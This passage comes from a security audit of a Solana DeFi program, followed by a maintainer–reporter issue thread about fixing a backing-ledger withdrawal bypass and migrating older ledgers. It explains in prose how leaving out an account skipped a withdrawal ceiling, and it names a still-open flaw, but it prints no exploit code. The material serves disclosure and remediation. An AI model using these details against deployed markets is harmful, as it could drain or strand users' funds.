PRESENT ("ExecuteRedemption hard-requires Live", "NO third instruction that cancels")
while its tests validate the FIXED behavior above. Recorded as low-severity finding F-2.

---

Appendix D — Minimal SBF isolation program (minimal-prog/)

Used once, during environment bring-up, to prove that ELFs produced by platform-tools
v1.48 are loadable by LiteSVM 0.1.0 at all (they are), and later with static data to
isolate section-layout hypotheses. Included so the tooling evidence chain is complete.

minimal-prog/Cargo.toml:

[package]
name = "minimal-prog"
version = "0.1.0"
edition = "2021"

[lib]
crate-type = ["cdylib"]
path = "lib.rs"

[dependencies]

minimal-prog/lib.rs:

#![no_std]
use core::panic::PanicInfo;

pub static DATA: [u64; 4096] = [0x5a5a5a5a5a5a5a5a; 4096];

#[panic_handler]
fn panic_handler(_info: &PanicInfo) -> ! {
    loop {}
}

#[no_mangle]
pub extern "C" fn entrypoint(input: *mut u8) -> u64 {
    // Minimal valid Solana program entrypoint stub for ELF-loading experiments.
    let d = unsafe { core::ptr::read_volatile(&DATA[17]) };
    input as *const u8;
    d
}

---

Appendix E — Full-suite baseline command and totals

# from percolator-prog/, with ../percolator present (path dependency):
cargo test --no-default-features --no-fail-fast

totals across 26 test binaries:
  TOTAL_PASSED = 520
  TOTAL_FAILED = 86

All 86 failures belong to suites that require sibling BPF programs
(percolator-match, percolator-nft, percolator-stake) which are private/pinned
repositories not available in this sandbox. This matches the repositorys own
KNOWN_FAILING.txt record exactly (no sibling BPFs at all ... 86 failed), i.e. no
regression is attributable to this checkout.

---

Report generated as part of an independent security review of dcccrypto/percolator-prog.

---

9. Audit Scope and Negative Findings (reviewed, verified secure)

For completeness of this report: the following fund-flow surfaces were fully reviewed
during this audit and found correctly hardened. Listed so future auditors do not redo
the work and can see the finding above in context:

Surface	Protections confirmed
Deposit / Withdraw	owner-or-bound-NFT authorization; canonical vault ATA pinning (verify_vault_token_account); engine solvency gate
WithdrawProtocolFee (84) / WithdrawCreatorFee (90)	dedicated authority gates; accrued - withdrawn clamp; protocol-reserve threading
WithdrawInsuranceAsset (57) / WithdrawInsurance (41)	per-domain budgets; market-wide cooldown (#396); D-STAKE-1 admin-drain anti-bypass
ExecuteRedemption (77)	RESYNC dual watermark gate; OI reservation; insurance-stub crediting (LPVAULT-359)
RequestRedeemLpShares (76) / CancelRedemption (81)	replay guard via PDA consumption; redeemer-bound destination
LpVaultCrankFees (78)	clamped to engine-available surplus; no tokens move to the caller
TradeNoCpi / BatchTradeNoCpi	fee basis pinned to mark; caller fee floored at config; four-way split with aggregate cross-check
TradeCpi matcher integration	tail signer-stripping + aliasing rejection (W1); eight-gate matcher ABI validation; anti-off-market price band
SwapSecondaryForPrimary	marketauth-gated; both legs balance-verified 1:1
ExpireBackingBucket (89)	permissionless but slot sourced from runtime Clock only; moves no tokens

Context: the repository README states the code is experimental and unaudited. This
report is an independent review; a professional audit is still recommended before any
mainnet deployment.

[dcccrypto]

Reopening — the fix shipped and stranded funds. Reverted.

@Bayyan16 your report is correct and the analysis holds. The fix was wrong, and that is on us: PR #442 was merged and deployed (cc193dde), and it made backing unwithdrawable on a whole class of markets. Reverted in 411d70fc, redeployed, verified byte-identical.

What broke

The fix made the ledger mandatory:

let ledger_ai = account(accounts, 6)?;
expect_owner(ledger_ai, program_id)?;

But nothing on that path can create the ledger. write_or_init_backing_domain_ledger writes into an existing buffer; the BackingDomainLedger PDA is only ever allocated by the LP-vault handlers. TopUpBackingBucket's own ledger argument is optional (5 accounts), so a provider can deposit backing into a market that has no LP vault — and after the fix, expect_owner failed on a non-existent account and that backing could never be withdrawn.

An accounting bypass became fund-stranding. Strictly worse.

Caught by our gate against the deployed bytes, on a proof-of-life that just tops up and withdraws. Not by the wrapper suite, which passes the ledger everywhere and therefore never builds a market that lacks one.

Worth noting: upstream aeyakovenko/percolator-prog keeps this account optional too, which is corroboration rather than coincidence. We checked it after the fact; checking first would have raised the question of why they never tightened it.

What was kept

The PDA pin. When the ledger is supplied it is now expect_key-pinned to ["lp_backing_ledger", market, domain], which the original optional path never did — a caller can no longer substitute an arbitrary program-owned account. That was the genuinely good half of your PR and it survives the revert.

What closing this actually needs

The ledger has to be guaranteed to EXIST before a withdrawal can require it. Either:

1. Create it on this path — add payer + system program to the account list and allocate the PDA if missing; or
2. Make it mandatory on TopUpBackingBucket first, so one always exists by the time anyone withdraws. Migration still has to handle buckets funded before that.

A bare account(accounts, 6)? cannot work, and this issue should stay open until one of those lands.

The tests now assert the defect rather than the fix, so they go red when it is genuinely closed: the omitted-ledger withdrawal is expected to succeed, and v16_bpf_withdraw_backing_bucket_requires_canonical_ledger measures the gap explicitly — the ledger books 60 while the vault paid out both withdrawals and holds 20. That 40-atom divergence is this issue, in numbers.

[Bayyan16]

Thanks for the detailed postmortem — understood. I re-checked the current ledger lifecycle, and I agree that #433 cannot be closed by making account 6 mandatory in isolation.

The missing precondition is ledger existence: TopUpBackingBucket can still leave a domain legitimately funded without a BackingDomainLedger, while write_or_init_backing_domain_ledger only initializes an already-allocated buffer. So WithdrawBackingBucket cannot safely require the canonical ledger until the program guarantees that PDA exists for every funded domain.

One migration detail also seems important for the already-funded ledgerless case: a fresh/uninitialized BackingDomainLedger currently starts with total_principal_atoms = 0. Allocating the PDA later therefore does not, by itself, reconstruct the principal that entered before the ledger existed. That state needs an explicit reconciliation/migration rule before the principal ceiling can safely become unconditional.

Keeping the canonical PDA pin while restoring the optional path looks correct as the interim state: when a ledger is supplied it must be ["lp_backing_ledger", market, domain], but existing ledgerless backing remains withdrawable until the existence/migration problem is solved.

I’ll hold off on another PR until the intended lifecycle is clear. If you want me to take the follow-up, I can implement whichever direction you prefer:

• allocate/create the canonical ledger on the withdrawal path, with an explicit reconciliation path for pre-existing ledgerless backing; or
• create/require the canonical ledger on TopUpBackingBucket first, migrate already-funded ledgerless domains, and only then make it mandatory on withdrawal.

Either way, I’d include compiled-BPF regression coverage for the exact no-LP-vault top up -> withdraw proof-of-life that caught this regression, alongside the canonical-ledger/substitution checks, so the fix proves both accounting integrity and withdrawal liveness.

[dcccrypto]

Reopening — @Bayyan16 you found a real gap in the fix, before we did.

The creation half is deployed (wrapper e8acd708, byte-identical, gate 201/201): TopUpBackingBucket now creates the ledger (5→7 accounts, PDA-pinned, system program added) and WithdrawBackingBucket requires it again. Fresh markets are correct end-to-end, and there's a compiled-BPF proof-of-life for the no-LP-vault top up -> withdraw shape you asked for.

But your migration point is right, and I'd missed it. Verified in source:

// read_or_new_backing_domain_ledger, v16_program.rs:10312
total_principal_atoms: 0,
...
last_observed_bucket_earnings_atoms: bucket.utilization_fee_earnings,
last_observed_unavailable_principal_atoms: backing_unavailable_principal_atoms(bucket)?,

The two watermarks seed from the bucket. total_principal_atoms does not. That was harmless while the ledger was optional and only described deposits made through it — it is not harmless now that amount > ledger.total_principal_atoms gates withdrawals.

So on a domain funded before any ledger existed, the next top-up allocates a ledger recording only the new deposit, and the guard caps that provider below their real balance. Partial stranding rather than total, but the same family as the bug we just fixed.

Where that leaves it

I'm reopening rather than leaving it closed, because the accounting integrity half isn't finished until pre-existing ledgerless domains reconcile.

Please take the follow-up — your second option, the one you're already on: create/require on top-up (done), then migrate already-funded ledgerless domains, then the principal ceiling is unconditional.

The reconciliation rule is the part worth agreeing before code. A fresh ledger has the bucket in hand, and the bucket carries fresh_unliened + valid_liened + consumed + impaired. The obvious seed is total principal from that sum — but note available = total_principal − (cumulative_loss − cumulative_recovery), so seeding principal alone would count consumed/impaired backing as available. Whatever seeds total_principal_atoms probably has to seed cumulative_loss_atoms in the same breath, or the ceiling moves the wrong way.

One practical warning from building the regression coverage you mentioned: every V16CuEnv backing helper routes through canonical_backing_domain_ledger_account, which set_accounts the ledger into existence. Using any of them makes the test vacuous — the harness creates the account the program is meant to create. Two negative-control runs passed against a build with the creation path deleted before I caught it. Build both instructions by hand. Same trap on the fixture side: injecting bucket state needs all three counters the engine's consumption sequence moves (consumed_liened_backing_num, spent_backing_num, provider_receivable_num) or it's rejected EngineInvalidConfig.

Thanks — this is the second time your read on this has been sharper than ours.

[Bayyan16]

Thanks — I’ll take the follow-up.

I re-checked the current call sites before touching the implementation. I agree with keeping the selected route: TopUpBackingBucket creates/requires the canonical ledger, and the remaining work is reconciling pre-existing ledgerless backing before the withdrawal principal ceiling can be treated as authoritative for those domains.

One scope point I want to preserve: I don't think the reconciliation should change read_or_new_backing_domain_ledger into a global “seed from whatever is currently in the bucket” rule. The generic helper is also used by LP-vault accounting paths where an uninitialized ledger intentionally contributes zero for a domain that the vault has never funded. I would keep that behavior and make the legacy reconstruction specific to the top-up/migration path.

For the reconciliation itself, my reading of your proposed invariant is to snapshot the bucket before the new top-up mutation and reconstruct two things together:

gross outstanding principal  <- fresh_unliened + valid_liened + consumed + impaired
current net impairment       <- consumed + impaired

using the wrapper's existing BOUND_SCALE conversion semantics. The resulting ledger baseline should satisfy:

total_principal_atoms
  - (cumulative_loss_atoms - cumulative_recovery_atoms)

== the bucket's currently recoverable principal, so creating the ledger late cannot turn consumed/impaired backing into withdrawable principal. I would also seed the unavailable watermark from the same pre-top-up snapshot so the first subsequent sync cannot book the same impairment again. Since cumulative_loss_atoms also serves as the monotonic residual_received counter, I’ll treat this as a migration baseline rather than a newly observed loss; please correct me if you want different semantics for that counter.

There are two lifecycle cases I want to confirm before coding:

1. Migration without new capital. A legacy provider should not have to make a non-zero deposit just to make existing backing withdrawable. TopUpBackingBucket currently reaches PDA creation before its amount != 0 mutation block, so if zero-amount top-up is intended to remain a valid operation, I can make that path allocate + reconcile the canonical ledger and use it as the explicit migration trigger. Otherwise I think this needs a separate migration entry point.
2. The e8acd708 deployment window. If a previously ledgerless domain has already made a non-zero top-up since that deployment, its ledger may now be initialized but under-seeded, containing only the post-deploy deposit. An initialization-only migration would no longer identify that state safely. If ops can confirm none exist, the repair can stay scoped to previously uninitialized ledgers; otherwise I think we need an explicit one-time repair path for identified initialized-under-seeded ledgers rather than trying to infer that history from the bucket.

For the regression, I’ll follow the harness constraints you called out: build the relevant instructions by hand rather than using any helper that set_accounts the canonical ledger, keep the consumed-state fixture coherent across consumed_liened_backing_num, spent_backing_num, and provider_receivable_num, and run a watched negative control with the reconciliation step removed so the test proves the migration itself.

If that matches the intended reconciliation semantics, I’ll implement the follow-up on that basis.

[dcccrypto]

Both halves are now on main. Closing.

This needed two changes, and the second only became necessary because of the first.

1. Require the ledger — e8acd708. The optional trailing account is gone: the handler now requires the per-domain backing ledger and creates it when absent, which was the half that was actually missing. Omitting it no longer skips both the amount > ledger.total_principal_atoms guard and the bookkeeping.

2. Reconcile pre-existing ledgerless backing — #456 by @Bayyan16, merged as be8c8dd2. Requiring the ledger going forward left the migration case: domains funded before it existed. seed_legacy_backing_domain_ledger reconstructs their baseline from the bucket.

The reasoning in (2) is worth keeping, because both directions of double-count are subtle:

• Principal and impairment are seeded together. Seeding principal alone would make consumed/impaired backing appear available under available = principal - (loss - recovery).
• The watermark is pinned to the same snapshot, so the first normal sync cannot re-book the migration baseline as a newly observed loss.
• Re-baselined after top-up, because a top-up that satisfies provider receivable reduces consumed backing — which for a ledger reconstructed from the pre-top-up bucket is new capital, not a recovery.

And read_or_new_backing_domain_ledger keeps its zero-principal semantics for other callers, rather than being changed globally: for LP-vault accounting an uninitialized ledger genuinely means that vault has not funded the domain.

Note on the original report

The severity call was right, and so was the framing — an invariant bypass on an authority-gated path with conditional economic damage. The LiteSVM PoC against the real compiled BPF (4/4) is what made it actionable rather than arguable.

Related, still open

#453 — my own #433 fix created it: the ledger PDA it now creates defeats CreateLpVault's born-dead guard. Filed and owned rather than left to be rediscovered.

Verification

• v16_cu 106 passed / 0 failed
• v16_wrapper 227 passed / 19 failed — the same 19 that fail on untouched main, compared by test name

One process note for anyone testing this locally: both of #456's new tests failed for me until I rebuilt the BPF artifact. target/deploy/percolator_prog.so was a day stale, so LiteSVM was running new tests against an old binary — a failure that looks exactly like a logic bug. cargo build-sbf first.

Merged, not deployed. Pending release.